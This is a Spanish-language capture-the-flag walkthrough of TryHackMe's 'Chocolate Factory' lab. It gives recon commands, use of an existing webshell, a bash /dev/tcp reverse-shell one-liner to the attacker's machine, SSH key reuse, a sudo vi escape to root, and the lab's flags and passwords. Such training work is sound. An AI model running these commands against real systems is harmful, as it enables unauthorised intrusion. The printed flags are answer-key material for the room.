Chocolate Factory - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Chocolate Factory - TryHackMe

📚 Esta publicación pertenece a la colección:

Chocolate Factory - TryHackMe Walkthrough

Bienvenido a mi writeup de Chocolate Factory, una room temática de TryHackMe inspirada en la película de Charlie y la Fábrica de Chocolate.

Room: Chocolate Factory
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.114.142.138

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Empiezo con un ping para verificar que la máquina está activa:

ping -c1 10.114.142.138
  • -c1 → Envía solo 1 paquete ICMP y para
▶ output
64 bytes from 10.114.142.138: icmp_seq=1 ttl=62 time=43.3 ms

El TTL es 62, lo que me indica que estoy ante una máquina Linux. El valor base de TTL en Linux es 64, y el 62 simplemente refleja los 2 saltos de red que ha atravesado el paquete.

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

Escaneo de Puertos

Lanzo un escaneo rápido de todos los puertos TCP:

nmap -p- --open -sS --min-rate 5000 -n -Pn 10.114.142.138
  • -p- → Escanea los 65535 puertos TCP
  • --open → Solo muestra puertos abiertos
  • -sS → SYN scan (stealth)
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -n → Sin resolución DNS
  • -Pn → Sin ping previo
▶ output
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
80/tcp  open  http
100/tcp open  newacct
101/tcp open  hostname
102/tcp open  iso-tsap
...
125/tcp open  locus-map

Hay muchos puertos abiertos, lo cual llama la atención.
Hay puertos recurrentes desde el 100 hasta el 125. Eso es inusual, por lo que voy a investigar qué hay detrás con un escaneo de versiones.

Escaneo de Versiones y Scripts

nmap -p21,22,80,100-125 -sCV 10.114.142.138
  • -p21,22,80,100-125 → Escanea los puertos relevantes identificados
  • -sV → Detección de versiones
  • -sC → Scripts NSE por defecto

El resultado revela que los puertos relevantes son únicamente estos tres:

▶ output
21/tcp  open  ftp         vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13

80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).

113/tcp open  ident?
|   fingerprint-strings:
|_    http://localhost/key_rev_key <- You will find the key here!!!

El resto de puertos (100–125 excepto el 113) devuelven todos el mismo mensaje decorativo de bienvenida, son básicamente ruido.

Los importantes son:

  • Puerto 21 (FTP): login anónimo habilitado, y hay un archivo gum_room.jpg.
  • Puerto 80 (HTTP): hay una web Apache.
  • Puerto 113: el fingerprint revela una pista directa → existe un archivo llamado key_rev_key accesible en la web.

📁 Fase 2: Enumeración

Enumeración FTP Anónimo

Me conecto al FTP con usuario anónimo para descargar el archivo que aparece en el escaneo:

ftp 10.114.142.138

Accedo con usuario ftp (alias de anonymous) y contraseña vacía

▶ output
230 Login successful.

Descargo gum_room.jpg y lo examino. Podría contener esteganografía, pero no encuentro nada relevante dentro.

Lo dejo aparcado y paso a la web.

Enumeración Web — Puerto 80

Al acceder a http://10.114.142.138 encuentro un formulario de login con la temática de la fábrica de chocolate.

El formulario envía las credenciales a validate.php.

No veo robots.txt ni nada llamativo en el código fuente. No almacena cookies. Tampoco logro bypasear el login directamente con tecnicas de SQL injection básicas.

La página del login se ve así:

Página de login del puerto 80

Paso a enumerar archivos y directorios. Primero pruebo con la wordlist por defecto:

dirb http://10.114.142.138 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Fuerza bruta de directorios con una wordlist pequeña como primer intento

Tras un rato no encuentro nada.

Amplío la búsqueda con una wordlist orientada a archivos:

dirb http://10.114.142.138 /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt

Wordlist más específica para descubrimiento de archivos individuales

Esta vez encuentro rápidamente el archivo home.php.

Al acceder veo que es una webshell que permite ejecutar comandos directamente en el servidor como www-data.

Webshell home.php accesible en el servidor

🚀 Fase 3: Explotación — Reverse Shell vía Webshell

Teniendo ejecución de comandos remotos, me envío una reverse shell. Primero me pongo en escucha:

nc -nlvp 4444
  • -n → Sin resolución DNS
  • -l → Modo escucha
  • -v → Verbose
  • -p 4444 → Puerto de escucha

Y desde la webshell ejecuto:

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4444 0>&1'

Recibo la conexión como www-data. Aplico el tratamiento de TTY estándar para estabilizarla:

script /dev/null -c bash

Genera una pseudoterminal (PTY) para mejorar la shell

Pulso Ctrl + Z y desde mi terminal:

stty raw -echo; fg
  • stty raw → Modo raw: los caracteres van directamente sin procesamiento local
  • -echo → Evita la duplicación de caracteres en pantalla
  • fg → Trae la shell al primer plano
reset xterm
export TERM=xterm

💡 Con esto consigo una terminal completamente funcional: Ctrl + C sin perder la sesión y autocompletado con Tab.

🔑 Obtención de la Clave

Recordando la pista del puerto 113, descargo el binario key_rev_key desde la máquina:

wget http://10.114.142.138/key_rev_key

Descargo el binario ELF a mi equipo para analizarlo

Lo abro como texto plano para identificar el tipo de archivo. Veo ELF en la cabecera, lo que confirma que es un binario Linux. Para extraer cadenas legibles sin ejecutarlo:

strings key_rev_key

Extrae todas las cadenas de texto imprimibles del binario

Entre el resultado encuentro lo interesante:

▶ output
Enter your name:
laksdhfas
congratulations you have found the key:
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
Keep its safe
Bad name!

El binario espera un nombre concreto (laksdhfas) y al introducirlo devuelve la clave Fernet. Lo verifico ejecutándolo:

chmod +x key_rev_key && ./key_rev_key

Doy permisos de ejecución y lo ejecuto para confirmar el comportamiento

Al introducir laksdhfas, obtengo la clave confirmada:

b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='

La guardo para más tarde.

👤 Acceso como Charlie

Desde la shell de www-data, exploro el sistema y encuentro el directorio /home/charlie:

ls -la /home/charlie

Lista el contenido del directorio home de charlie con permisos

▶ output
-rw-rw-r-- 1 charlie charlie   1766 Sep 30 2020 teleport
-rw-rw-r-- 1 charlie charlie    394 Sep 30 2020 teleport.pub
-rw------- 1 charlie charlie     38 Jan 14  2021 user.txt

Hay un archivo teleport y otro teleport.pub a los cuales tengo permisos de lectura. Tras consultar su contenido, compruebo que es una clave privada SSH (teleport) y su par pública (teleport.pub).

Tambien veo otro archivo user.txt, pero no tengo acceso con el usuario actual.

Copio el contenido de teleport a mi máquina y lo uso para conectarme como Charlie por SSH.

En el primer intento me equivoco y olvido los permisos:

ssh charlie@10.114.142.138 -i teleport

Primer intento — falla porque los permisos del archivo de clave son incorrectos

▶ output
WARNING: UNPROTECTED PRIVATE KEY FILE!
Permissions 0644 for 'teleport' are too open.

SSH rechaza la clave porque los permisos son demasiado abiertos. Lo corrijo:

chmod 600 teleport && ssh charlie@10.114.142.138 -i teleport
  • chmod 600 → Solo el propietario puede leer y escribir (requerido por SSH)

Esta vez entro sin problema como charlie.

🚩 Flag de Usuario

Con acceso como Charlie, puedo leer la flag de usuario:

cat /home/charlie/user.txt
THM{cd5509042371b34e4826e4838b522d2e}

🚩 Flag de usuario capturada!

⬆️ Fase 4: Escalada de Privilegios

Compruebo los permisos de sudo:

sudo -l

Lista los comandos que charlie puede ejecutar con privilegios elevados

▶ output
User charlie may run the following commands on ip-10-114-142-138:
  (ALL : !root) NOPASSWD: /usr/bin/vi

Puedo ejecutar vi con sudo sin contraseña. Aunque la regla especifica !root intentando restringir la ejecución directa como root, vi permite escapar a una shell interactiva, lo que hace que esa restricción no sea efectiva.

Consulto GTFOBins para confirmar el vector:

sudo /usr/bin/vi

Abro vi con privilegios elevados

Una vez dentro del editor, ejecuto una shell desde la línea de comandos interna de vi:

:!/bin/bash

Desde el modo de comandos de vi, ejecuta /bin/bash con los privilegios heredados de sudo

whoami
▶ output
root

¡Root! 🎉

🚩 Flag de Root

En el directorio /root/ no hay un root.txt convencional. En su lugar encuentro un script Python al cual tengo permisos de lectura y escritura.

cat /root/root.py
▶ output
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR-bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ'
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)

El script solicita una clave Fernet para descifrar un mensaje cifrado. La clave que obtuve del binario key_rev_key es exactamente esto.

Intento ejecutarlo directamente, pero explota con un TypeError: el script pasa la variable encrypted_mess directamente a f.decrypt() como string, pero Fernet exige bytes.

Como tengo permisos de escritura, lo corrijo añadiendo .encode():

dcrypt_mess = f.decrypt(encrypted_mess.encode())

Vuelvo a probar y veo que el arte ASCII de pyfiglet da fallos. Antes que comerme la cabeza en arreglarlo, simplemente lo voy a quitar porque no es relevante para obtener la flag.

Ejecuto la versión corregida e introduzco la clave:

python3 root.py

Ejecuto el script con Python 3 e introduzco la clave Fernet cuando la solicite

Al introducir -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=, el script descifra el mensaje y obtengo la flag de root.

🚩 Flag de root capturada!

🍫 Bonus: Contraseña de Charlie

La room también pregunta por la contraseña de Charlie (la que se usaría en el formulario de login del puerto 80). Revisando el directorio de Charlie no encontré nada al respecto.

Recuerdo que quizás el archivo donde se valida las credenciales de login (validate.php) tiene las claves hardcodeadas.

cat /var/www/html/validate.php

Consulto el archivo PHP que gestiona la autenticación del formulario de login

Tal como sospechaba, la contraseña de Charlie está hardcodeada directamente en el código PHP.

cn7824

📊 Resumen

Cadena de Ataque

Webshell (home.php) → Reverse Shell (www-data) → Clave SSH (teleport) → SSH como Charlie → sudo vi → Root → Descifrado Fernet (root flag)

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y servicios
  • ftp — Enumeración del servicio FTP anónimo
  • dirb — Descubrimiento de archivos en la web
  • netcat — Listener para la reverse shell
  • strings — Análisis estático del binario ELF
  • GTFOBins — Referencia para escalada de privilegios con vi
  • Python 3 + cryptography — Descifrado de la flag con Fernet

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Webshell accesible públicamenteCRÍTICAEliminar archivos de shell en el servidor web, auditar despliegues
Clave privada SSH del usuario expuestaCRÍTICARestringir permisos del home; no almacenar claves en rutas accesibles
Contraseña hardcodeada en PHPALTAUsar hashing y almacenamiento seguro de credenciales
FTP anónimo habilitadoALTADeshabilitar acceso anónimo al FTP
sudo vi sin contraseña (escalada)ALTARevisar reglas sudoers; nunca conceder editores de texto sin restricción

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.